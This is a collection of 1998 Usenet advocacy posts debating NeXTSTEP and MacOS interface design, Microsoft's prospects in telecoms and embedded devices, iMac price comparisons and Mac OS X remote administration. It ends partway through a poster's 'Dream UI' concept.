3. organization in object-oriented fashion - The 'object-oriented' buzzword is pretty
nonsensical in GUI terms - they are all 'object-oriented', but make different assumptions
about which are the important objects.
Actually, the NeXTstep browser window (with it's shelf and icon path) was a rather neat object
providing better organization than a plain desktop, while the dock was a good organisational
object for applications (though the proposed shelf seemed even better).
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Sat, 27 Jun 1998 13:47:12 -0700
Organization: UC Irvine
Message-ID: <atlauren-2706981347120001@192.168.1.1>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <atlauren-2606981828160001@jungleland.acs.uci.edu> <6n1pae$apc$2@bertrand.ccs.carleton.ca>
_3;X4o1Yg^$]=Oc\u
In article <6n1pae$apc$2@bertrand.ccs.carleton.ca>, dfs@doe.carleton.ca
(David F. Skoll) wrote:
>> Fact: 80% percent of *new* PC-based server installations are running NT.
>> (Or thereabouts, I can't recall the exact number, or where I read it.)
>
>Maybe. Another fact: Linux is the only OS besides NT gaining market
>share (see the Datapro report off of www.redhat.com)
That sounds about right. I'll check next week's Computer Reseller News -
IIRC, they publish this sort of thing on a regular basis.
>> The phone system may not run on NT today, indeed, probably won't within my
>> professional lifetime. MS will keep chasing that market, however, and
>> eventually find an 80/20 combination which is compelling to that market.
>
>I don't think so. NT (or any proprietary third-party OS, for that
>matter) offers no advantage to the phone companies.
Yet. MS failed with Windows for several years before they matured it
enough for people to notice. Ditto for Word. (Oddly enough, the success
of each was tied to the other.) Give them time, they'll find something
compelling enough to get the telcos interested. "Let's check this out, it
might be what we need."
>They're not going to give up
>control of their products and go with a third-party OS of dubious
>reliability and performance.
Yet. Again, give MS time. Remember that MS' most unfailing
characteristic is that they want you as a customer - period. Doesn't
matter who you are, they want you as a customer. And they'll keep chasing
your market segment until you at least consider them.
>Microsoft is aggressively going after the embedded market. They will
>fail.
In the short term. Read the above, repeat as necessary.
>Another thing: There will be an inevitable technological shift of
>the kind which moved IBM from being the only player to being a big
>player. Customer revolt, too, will play a part.
Lord, I hope so.
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dbavbp.wr1fy31alotlyN@dialup200-3-8.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com>
Organization: pv
Date: Sat, 27 Jun 1998 21:21:45 GMT
NNTP-Posting-Date: Sat, 27 Jun 1998 23:21:45 MET DST
<boracay@hotmail.com> wrote:
> In article <6mmfdv$5l4$1@nnrp1.dejanews.com>, boracay@hotmail.com wrote:
>
> > > PROGRAMMING: [...] Doesn't somebody
> > > understand that easy to use and easy to program are desirable?
>
> In article <billa-2206981913080001@archbald-96.slip.uiuc.edu>,
> billa@uiuc.edu (Bill Altenberger) replied:
>
> > Apple developers do. Enough said on this topic.
>
> Really? How come I don't see it. [...] It has gotten nothing but harder
> and harder to program over the years..
Program development is inherently hard. Read Frederik Brooks: "No Silver
Bullet". Somewhat old but still valid in its observations and
conclusions.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 27 Jun 1998 16:45:52 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35956810.E7186305@nstar.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <359434A2.8C1C371@nstar.net> <vhXk1.12$Oe1.111450@proxye1.san.rr.com> <3595368A.CA0E6322@nstar.net> <35955417.0@nnrp1.news.uk.psi.net>
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Richard Frith-Macdonald wrote:
> I have to say that that as far as I'm concerned, that's total nonsense -
> (ie. it may be your opinion, but it's certainly not mine, nor that of anyone else
> I know who has used NeXTstep)
> When you use phrases like 'window-centric', 'application-centric', and 'object-oriented'
> it sounds as though you are talking facts, when what you are actually talking about is
> just your personal likes and dislikes.
>
> 1. window centric - Less so than X/MS windows in that (like MacOS) it doesn't attach
> menus and lot's of other controls to windows.
I would say that that is true.
> Less so than the MacOS in that it doesn't
> promote/encourage use of as many windows.
This is where the nonsense begins. MacOS preserves the notion of a
running app, and all windows are tied to a single app. The predominant
concept throughout all usage is that of windows belonging first to a
parent app, and *not* to the window manager, windowserver, or other
windowing construct. When you raise one of an app's windows, you raise
the entire app, replace the menubar with that app's menubar, and raise
all of the other app's windows. An app's windows are directly managed by
the app, not by the Finder or any other thing. The app is king in MacOS.
In fact, the Finder itself is more an app than anything else.
Multiplicity of windows is peripheral, and besides, MacOS binds all
different kinds of windows to the behavior of the app: focus, tab
behavior, other CNTL filters, custom WDEFs, and other window-related
constructs are all bound to the app. Thus, dialogs and such are handled
by the app and your multiplicity of windows turns into an application
preference, *not* a system-wide model.
> 2. application centric - The NEXT GUI makes it easier to hide/find an application as a
> whole than other systems, I'm not sure what else you could say for/against it being
> application centred compared to other GUIs.
NEXTSTEP doesn't have the same manner of app-centric behavior as MacOS.
The predominant interface model is of a screen full of windows; the
MacOS feels more like a screen full of apps. I've already mentioned that
tear-off menus and NeXT-style inspectors do a great deal to encourage
this feeling.
> 3. organization in object-oriented fashion - The 'object-oriented' buzzword is pretty
> nonsensical in GUI terms - they are all 'object-oriented', but make different assumptions
> about which are the important objects.
What does NEXTSTEP call the important objects? How do they relate to the
interface? In MacOS, every file is an object. Every app and every
document are thus objects. They are invoked identically. Windows are not
objects: they belong to apps. Doesn't MacOS 8 allow you to "dock"
windows? When docked, those windows are not icons, but are docked
windows, a different object.
I can't tell how NEXTSTEP intends to treat such things. Apps are dock
icons, but they're also tiles, and they're also files on the disk. What
are documents? As open files, they're window tiles; either way they're
files on the disk. What are windows? Also tiles. Are all tiles
documents? No. They can be any kind of window. There is no logical
hierarchy to the setup. Everything is an icon, everything is an icon.
Icons and windows everywhere. Who knows what icon and what window means
what?
> Actually, the NeXTstep browser window (with it's shelf and icon path) was a rather neat object
> providing better organization than a plain desktop, while the dock was a good organisational
> object for applications (though the proposed shelf seemed even better).
The NEXTSTEP browser may or may not be "better" than a desktop; the
comparison is meaningless. The browser does not replace the desktop; it
provides a convenient method of navigation and file management. The
desktop serves a larger purpose. As such, the file system should be
optionally seen *within* the browser *within* the desktop.
Unfortunately, NEXTSTEP has no desktop, and no replacement. Windowing
hell, docks, and "shelves" are the result.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Sat, 27 Jun 1998 16:54:10 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35956A02.DD9B8079@nstar.net>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <atlauren-2606981828160001@jungleland.acs.uci.edu> <6n1pae$apc$2@bertrand.ccs.carleton.ca> <atlauren-2706981347120001@192.168.1.1>
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Andrew Laurence wrote:
> Yet. Again, give MS time. Remember that MS' most unfailing
> characteristic is that they want you as a customer - period. Doesn't
> matter who you are, they want you as a customer. And they'll keep chasing
> your market segment until you at least consider them.
Right on.
MJP
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac competition
Date: Sat, 27 Jun 1998 18:44:37 -0500
Organization: Prairie Group
Message-ID: <MPG.fff3fde7dffca37989921@news.supernews.com>
References: <358bbd30.0@news.together.net> <358fd4e2.9092755@news.newsguy.com> <358c05f7.0@news.together.net> <MPG.ff5e7d67a07e7f59898a4@news.supernews.com> <joe.ragosta-2006981856170001@elk34.dol.net> <358c406d.0@news.together.net> <joe.ragosta-2006981923020001@elk34.dol.net> <358c86fa.0@news.together.net> <1day7gq.di8n1bbucw3bN@pppsl635.chicagonet.net> <358d43f9.0@news.together.net> <1daztnk.je9zdipn0g3sN@pppsl564.chicagonet.net> <358ecc2b.0@news.together.net> <19980622215618355328@ts4-29.aug.com> <358f2022.0@news.together.net> <trev-2306980030490001@nas-p9.usc.net> <358ff412.0@news.together.net> <joe.ragosta-2306981524320001@wil64.dol.net> <christian.bau-2406981053170001@christian-mac.isltd.insignia.com> <MPG.ffc027c97a962859898fa@news.supernews.com> <christian.bau-2506981717250001@christian-mac.isltd.insignia.com> <MPG.ffdf340b6f37cc989913@news.supernews.com> <6n1k2r$7ab@bgtnsc01.worldnet.att.net> <MPG.ffec649eff93973989918@news.supernews.com>
<macghod-2706981236100001@1cust103.tnt1.santa-barbara.ca.da.uu.net>
In article <macghod-2706981236100001@1cust103.tnt1.santa-
barbara.ca.da.uu.net>, macghod@concentric.net says...
> Here is something for Donald's challenge:
> From EZ COMPUTERS, 1 888 928 2326
> p2 300
> 64 megs sdram memory
> 6.4 ultra dma hard drive
> 32 x cd
> 56k voice modem
> intel 740I chipset video w/ 8 mb sdram (8 megs video ram)
> ramaha 3d sound card w/wave table
> 180 watt stereo speakers
> 15 inch .28mm Voxon Monitor
>
> Comes with a much need windows 98 training video (and windows 98) for free
> Price is $1149, if you want a p2 333 instead with same config its $1249
> Pros:
> it has 64 megs of ram instead of imacs 32 megs
> it has 6.4 hd rather than imacs 4 gig
> it has 56 k modem rather than imacs 33.6
> it has 8 megs of video memory instead of the imacs (2 or 4??) BUT I dont
> know how good this video card is, it may not be as good as the imacs rage
> pro (or maybe rage II)
> has 180 watt external stereo speakers while imac has no external speakers
> (nor would I call the macs internal speakers "stereo", and yes I have
> heard the speakers that come with low end pc's, and I sure as hell wish I
> could have some for my g3!!
> Is $150 cheaper than the imac, and will be even cheaper by the time the
> imac comes out
> has a floppy drive :P
>
> Cons
> Does not have imacs cool new all in one format (by new I mean better than
> the old clunky all in one format, like the g3 all in one has)
> Does not have as much software as imac will have
And huge con...was not from a national producer. I wouldn't buy my
parents a computer from EZ COMPUTERS, any more than I'd buy airplane
tickets from Nocturnal Airlines. (That's probably unfair to them, but it
would take a lot of trust to trust them).
Donald
>
>
> While reading the paper, I also noticed another great deal.
> Unitex computers in southern california (310 820 2400). G3 233 standard
> config desktop for $1699. At first I was irritated ("all these f@#$@#s
> with macs at standard map!!") but then saw big letters next to it. The
> price INCLUDES a apple 1710 monitor. Didnt say if it was new or refurb.
> THats worth about $500.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062823484000.TAA11540@ladder03.news.aol.com>
Date: 28 Jun 1998 23:48:40 GMT
Organization: AOL http://www.aol.com
References: <359682D0.90876150@nstar.net>
>How does NEXTSTEP manage to ensure that the
>presence of software and the user's understanding of that software
>always coexist?
As I noted, applications are always icons, and one can normatively/consistently
expect to interact with an application via its on-screen representation, its
icon.
>discussion of awkwardness of Fiend configuration for multiple users/accounts
snipped
There's another app launcher for NeXT called LaunchBar--I suspect you would've
find it useful. I'm still not sure If I like it or no, yet.
>I don't think screen efficiency
>need be as confusing as the Dock/animating icon scheme, nor does it need
>to be so exception-oriented.
I don't see that the Dock/icon setup is confusing--things are nicely
differentiated for the most part, though I admit I do mislike apps like
Virtuoso which try to use the same icon for app and document icon (but one can
use .FH4 files instead)
>If more apps made use of animating icons, where would that leave the
>person who doesn't keep his Fiend open, or doesn't happen to have
>certain apps in the Dock?
Well, Fiend is not a part of the OS so would be the result of an act of
volition on the part of the user. For those running apps which are not in the
Dock--unfortunately, they wind up in the bottom left corner and are
intermingled with app icons if one minimizes icons. I rarely do this, do don't
find it troubling. It would be interesting to have two rows there, bottom for
apps, above that for documents--not sure if it'd be worth it though.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: aman@aman.com (A-Man)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Sun, 28 Jun 1998 15:02:54 -0800
Organization: ICGNetcom
Message-ID: <aman-2806981502540001@scz-ca9-03.ix.netcom.com>
References: <6n6a2e$21s$1@news.cmc.net>
In article <6n6a2e$21s$1@news.cmc.net>, com.occam@leonvs wrote:
> Here's my One Big Question: Without a command line, am I going to be put
> in the position of insulting the remote administration "capabilities" as
> I do now with NT?
I administer several MacOS-based servers right now and am very happy with
the capabilities. There are several options - none of which require a
CLI:
- Timbuktu Pro: complete remote control of the server. I can administer
servers from my home 33.6 connection with no problem.
-Santorini Server Tools (http://www.santorinicd.com/piprod.htm)
Remote admin tools for AppleShare 4.x and ASIP. Works fine.
-EIMS 2: (http://eudora.qualcomm.com/eims/)
POP/SMTP server has remote admin program. Works great.
- WebSTAR 2.x, 3.x: (http://www.starnine.com/webstar/webstar.html)
Has both remote admin program and web browser admin capabilities.
- Apple Network Administrator: (http://anat.apple.com)
I would guess that with MacOS X, these programs will be even faster, more
robust, and easier to use.
> It seems like Apple has to go *out of their way* to not have a CLI in
> Mac OS X, crippling its chances of playing well in a UNIX networking
> environment. There's a lot invested in UNIX remote admin tools, and Apple
> is willing to toss it all away.
It seems like Apple has decided that they don't want to have to support
Unix admin tools for their customers, so they are leaving that up to third
parties. Someone will offer the tools you want. You'll just have to pay
for them.
> This only compounds the damage from the loss of remote display.
The overwelming majority of MacOS X customers, whether they were previous
MacOS or Wintel users, will never miss what they didn't have before.
> So maybe I'll be able to buy a Timbuktu-like product to get remote
> display back. Maybe I'll be able to use AppleScript to replace the
> perfectly shell scripts I currently use. Maybe I can buy a third-party
> command line app to recover access to the broad suite of UNIX utilties.
> And I can still use NetInfo (presumably) to handle most network config
> issues.
>
> WHY MAKE IT THIS HARD?!
To make it easier for their current customers to stay with the platform.
That is job #1. It seems that Apple will work on meeting your needs when
they have the resources to do so - which may be a while yet.
> Am I now going to have to buy a third-party mail server, since Sendmail
> and others need a command line? Am I going to have to buy a third-party
> news server, since INND needs a CLI? Am I going to have to buy a
> third-party telnet/FTP server? Why am I starting to feel Microshafted?
If you want to run your free Unix servers on MacOS X you'll probably just
have to buy a third-party shell. Go look at http://www.tenon.com/ I'll
bet they will offer what you'll need since their job is getting much
easier with MacOS X.
> Why is Apple willing to ignore nearly thirty years of UNIX admin
> experience built up in the marketplace?
. . .
> WHY do we have to give up so much to get the rest of the good stuff?
You don't have to give anything up if it is worth paying for. I suspect
that your frustration is actually more "I'll have to pay now for a new
improved OS" rather than "the new OS is useless for me". I do acknowledge
your concerns are important for a large number of ex-Next folks. It would
be politcally smart for Apple to at least respond directly to your
concerns.
-Aaron
From: Jeff Read <bitwize@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Sun, 28 Jun 1998 18:18:13 +0000
Organization: Not really
Message-ID: <359688E5.96767122@geocities.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <atlauren-2606981828160001@jungleland.acs.uci.edu> <6n1pae$apc$2@bertrand.ccs.carleton.ca> <atlauren-2706981347120001@192.168.1.1> <6n5esc$n72@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Something I heard from someone at Lucent leads me to believe that
> (at least some of) the suits there are sold on Windows NT as the
> future over the strong protests of technical people.
From what I've read, Lucent wishes its own Inferno (or, as I like to
refer to it, the Operating System of the Beast) were embedded in every
device. They just don't have the personal-OS clout to pull it off (yet).
Microsoft is bad now... but Lucent is the company I'm keeping my eye on
in the future.
--
----------------------------------------------------------------------
Jeff Read <bitwize@geocities.com>/ http://genpc.home.ml.org
Unix / Linux / Windows Hacker, / Boycott Microsoft!
Anime & Sonic Fan, / Use Linux/GNU!
All Around Nice Guy / Let's keep the Net and the Land FREE!
----------------------------------------------------------------------
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062900041700.UAA13646@ladder03.news.aol.com>
Date: 29 Jun 1998 00:04:16 GMT
Organization: AOL http://www.aol.com
References: <3596897F.44F25F46@nstar.net>
MJP said:
>A better way of providing "inspector" access would be to write the
>"inspector" into a separate binary that can provide this service to any
>running app.
I like having one inspector per application. This means that I can configure
applications I wish to use similarly (i.e. drawing/page layout/text editing) so
that they have the inspector in the same place on the screen--when I switch
apps, I get the inspector I need in the location I want/expect. Does take a bit
of discipline though.
This also allows me to place the inspector(s) for other applications in a
different location (maybe someday I'll get an ND board and it'll be on a
different monitor) for my convenience.
>(idea of mixing/matching inspectors and other application interface elements
snipped
>...it's just one top-of-the-head
>notion of how organization could be built into the system where it is
>currently sorely lacking.
I prefer to impose my own organization, thank you. It seems that you prefer
that the system should guess at this and are optimistic enough to expect it to
get it right. I've found little reason to expect this in my experience, but
admit it's an interesting idea.
I find Photoshop's docking palettes kind of irritating--I want it slightly
offset here to get at the edge of it more easily than that, but the app insists
on placing it like that, even though that's not what I want.
>They (Mac palettes) are all grouped into a single menu location. They are not
strewn
>about into various "Format..." and "Edit..." and "Navigate..." menu
hierarchies
I find it confusing to have disparate elements lumped together like that. I'd
rather find the Type palette for example under the Format menu where I think
one would logically expect it.
>What, exactly, is the desktop in NEXTSTEP?
I've always thought of it as the dark-grey background over which everything
else appears and into which I can drop elements I wish to dispose of but not
delete.
>argument about spatial organization of apps and files snipped.
It seems to me that the Dock does provide this kind of organization--it's just
not as all-encompassing as you would seem to prefer. At least in the NeXT file
system there are a limited number of places to look for applications--I'd guess
that the Mac OS UI (which is after all what the topic is supposed to be) will
have even fewer places to put apps.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Norbert Gruen <0223761903-0001@t-online.de>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: WinCE controlled Siemens washing mashine will boil your wool socks! (was: Re: ISP's run NT? Hogwash!)
Date: Sun, 28 Jun 1998 02:27:16 +0200
Organization: Bruch+Dalles
Message-ID: <35958DE3.1FA28F93@t-online.de>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <atlauren-2606981828160001@jungleland.acs.uci.edu> <6n1pae$apc$2@bertrand.ccs.carleton.ca>
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David F. Skoll wrote:
>
> In article <atlauren-2606981828160001@jungleland.acs.uci.edu>, Andrew
> Laurence (atlauren@uci.edu) wrote:
>
> > Fact: 80% percent of *new* PC-based server installations are running NT.
> > (Or thereabouts, I can't recall the exact number, or where I read it.)
>
> Maybe. Another fact: Linux is the only OS besides NT gaining market
> share (see the Datapro report off of www.redhat.com)
>
> > The phone system may not run on NT today, indeed, probably won't within my
> > professional lifetime. MS will keep chasing that market, however, and
> > eventually find an 80/20 combination which is compelling to that market.
>
> I don't think so. NT (or any proprietary third-party OS, for that
> matter) offers no advantage to the phone companies. They've invested
> a heck of a lot of time and money in building phone switch software
> with amazing robustness and reliability. They're not going to give up
> control of their products and go with a third-party OS of dubious
> reliability and performance.
>
> Microsoft is aggressively going after the embedded market. They will
> fail. It's too different from their main business focus, and they're
> years behind industry leaders on embedded OS technology. Just compare
> Windows CE or NT to QNX -- what a laugh.
>
> Another thing: There will be an inevitable technological shift of
> the kind which moved IBM from being the only player to being a big
> player. Customer revolt, too, will play a part.
>
> --
> David F. Skoll
Dear Dave!
A couple of weeks ago we learned here in Germany that M$ has struck a
deal with Siemens, a big name in Germany, making everything that needs
or makes electrical power, making Windows CE the standard to all their
household appliances.
Watch out a Siemens washing machine boiling your wool socks.
Your fridge will freeze your coke bottles that they'll take a week back
to drinking temperature.
Your deep freezer will thaw without a warning, then refreeze and you'll
end up with a salmonella infection since the oven failed to heat through
the meat.
Your coffee machine will brew at midnight or not at all so you've either
cold or no coffee.
Rumours about the new SONY WinCE controlled car electronics will trigger
the insurances for refusing coverage or hiking rates due to suspected
higher accident rates.
The drop in sales plus the damages paid to customers will trigger both
companies in sending their lawyers after Billy and both aren't Pop and
Mom operations.
Hope this will break Billy's neck.
Kind regards
--
Norbert Gruen (umlaut u, ü)
Do Bill Gate$ a favour, support alternatives to Micro$oft!!!
"reply-to"-> Text, "from"->MIME
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac competition
Date: Sun, 28 Jun 1998 18:33:01 -0500
Organization: Prairie Group
Message-ID: <MPG.10008ea6bdbefd2a98992c@news.supernews.com>
References: <358ff412.0@news.together.net> <MPG.ffc027c97a962859898fa@news.supernews.com> <christian.bau-2506981717250001@christian-mac.isltd.insignia.com> <MPG.ffdf340b6f37cc989913@news.supernews.com> <6n1k2r$7ab@bgtnsc01.worldnet.att.net> <MPG.ffec649eff93973989918@news.supernews.com> <macghod-2706981236100001@1cust103.tnt1.santa-barbara.ca.da.uu.net> <MPG.fff3fde7dffca37989921@news.supernews.com> <Pine.NXT.3.96.980628130250.10515B-100000@pathos> <6n5vgo$6r2@nntp02.primenet.com>
In article <6n5vgo$6r2@nntp02.primenet.com>, jjens@primenet.com says...
> In article <Pine.NXT.3.96.980628130250.10515B-100000@pathos> you wrote:
>
> : I have to agree completely with the macghod point... buying a PC from an
> : unknown vendor is pretty much guranteeing that you will get a lemon.
> : [painful examples deleted]
>
> The thing you have to watch are the big four components:
>
> - CPU
> - Hard Disk
> - Motherboard
> - Video Card
>
> Many people will make sure they have "Intel Inside" and a name brand hard
> disk, but walk away with a no-name motherboard and/or video card. That
> can get you a lemon real fast.
>
> But, most "screwdriver shops" will sell you the good motherboards and
> video cards if you ask for them. A name brand motherboard may be only $20
> more than a no-name, but it will make all the difference.
>
> Check Tom's Hardware Page for reviews ( www.tomshardware.com ), or if you
> want a no-brainer buy from the big four.
>
> I asked a local shop to put together a system for me. I specified every
> part: ABit AX5 motherboard, AMD K6 CPU, Maxtor HD, Matrox Millenium video
> card, Toshiba CD, soundblaster 64. It cost me $90 over the price of the
> parts to have them assemble it for me. The system runs WinNT, Win98, BeOS
> and Linux like a charm. This is the first system I bought for
> upgradibility. The ATX case is ready for something fast a year from now
> ... either a K6-2 or dual P2's.
Actually, the reason I put the "national company" restriction on the
company, is that the target market is not going to go to these small
shops. And if they do, they sure won't be going to Tom's Hardware Page.
Donald
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Dream UI [Part I] (was: Re: Mac OS X UI)
Message-ID: <forrestDELETE-THIS!-2706981727560001@term1-2.vta.west.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <359434A2.8C1C371@nstar.net> <vhXk1.12$Oe1.111450@proxye1.san.rr.com> <3595368A.CA0E6322@nstar.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sun, 28 Jun 1998 00:33:52 GMT
NNTP-Posting-Date: Sat, 27 Jun 1998 17:33:52 PDT
Way back when the UI documents for Rhapsody were leaked (early 97? I
forget), there was lots of heated discussion here over how things should
be handled. This inspired me to write up some texts and create some mock
screenshots of what I now called my "Dream UI". In this UI, I combine the
best elements of every interface I've seen. Currently, the whole thing is
designed around a 3D basis, when viewing the documentation you can easily
imagine it as a 2D interface (and the mock screenshots are all designed
head-on as well, so it even looks 2D in them). I think this would add a
lot to the current discussion, and I'll be postin two of the text
documents in the next two posts (entitled "Dream UI [Part II]" and "Dream
UI [Part III]", of course). If anyone wants to see the screenshots after
they read the documents, just email me.
And if you're wondering who I think I am to think I've designed one of the
best UIs there is, well, I design things (games, specifically, which
includes lots of other elements - UI, physical design, story, background
sciences, etc) for a living, so I think I have a bit of experiance here
(besides, everyone else on our development & design teams thinks Dream UI
rocks).
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Dream UI [Part II] (was: Re: Mac OS X UI)
Message-ID: <forrestDELETE-THIS!-2706981733070001@term1-2.vta.west.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <359434A2.8C1C371@nstar.net> <vhXk1.12$Oe1.111450@proxye1.san.rr.com> <3595368A.CA0E6322@nstar.net> <forrestDELETE-THIS!-2706981727560001@term1-2.vta.west.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sun, 28 Jun 1998 00:39:06 GMT
NNTP-Posting-Date: Sat, 27 Jun 1998 17:39:06 PDT
Upon starting up Unity you will see a little movie which leads up to the
name of this distribution and the company logo. In the middle of the
screen, right below the name and logo, is a little space which has an the
icon of the startup module it's loading and some text to the right of it
which says "loading [filename]". When it finishes loading that it's icon
goes to the bottom-left of the screen, and the next item loads and goes to
the right of that, and so on. Beneath that is a progress bar and some text
saying the estimated remaining startup time. If this is the first time
starting up, you are asked some questions which set your preferences, and
then are given a tutorial on the basics (using the pointer and keyboard,
and some of the stuff detailed below). If you've already started up a few
times before, you go straight to the main screen, with all of your
previously opened documents and editors open and in place exactly as you
left them. If you have more than one user profile, you are prompted to
select a user name and enter a password. Then you go on to the main
screen.
Unity is 3D. The background is shelves and a floor, which would behave as
you would expect those to. Windows can be turned and rotated as if they
were solid objects in 3D space, however this is difficult to portray in
Photoshop. The only items which are fixed in 2D are the Tray, drawers, and
pull-down menus. Drawers are a special kind of window which stick to the
bottom of the screen and slide up or down which the title bar is clicked.
The menubar can be torn off be dragging down from a menu-less part of it,
which will make then entire thing into a window. Individual menus or
sub-menus can be torn off by dragging through the bottom-right corner.
Click and hold the pointer button down to bring up a popup menu containing
context-sensetive items, if on a container a menu of it's contents, and a
menu with the current menubar within it. Icons are 3D models, however I've
shown them as simple 2D icons here. The icons could be placed on the
shelves and floor, but it would be too difficult to show that here. If the
desktop had it's view set to "by Content", then the shelves would be gone
and rectangles showing the content of the files would be placed along the
walls, floor and ceiling. The Room can't be viewed by list or column.
Unity is object oriented. Most "files" can contain other "files". Theses
are called "containers". The only files which can't contain other files
are "parts", which are invisible to the user (they're used to store actual
data, while containers are simply an organized heirarchy of other
containers). Every container can be represented by a window. Within this
window are displayed the contents of the container. There are several
views, as detailed in the Unity Menu Layout file. The top-level
containers, such as disks and data-input/output devices like printers and
scanners, all appear on the Tray, a verticle bar on the right hand side of
the window. Each of these devices gets it's own set of shelves and floor
space, with devices closer to the bottom of the Tray having space closer
to the front of the room, and the top-level item (the startup device) has
the back wall. Theses spaces can be resized by dragging their borders. To
unmount or eject a device on the Tray, drag it's icon to the Unmount
widget at the bottom of the Tray. To erase a disk, you select it's icon
and choose Delete from the Edit menu. This will erase all data on the
disk, and the OS will then notice an empty disk there and prompt you to
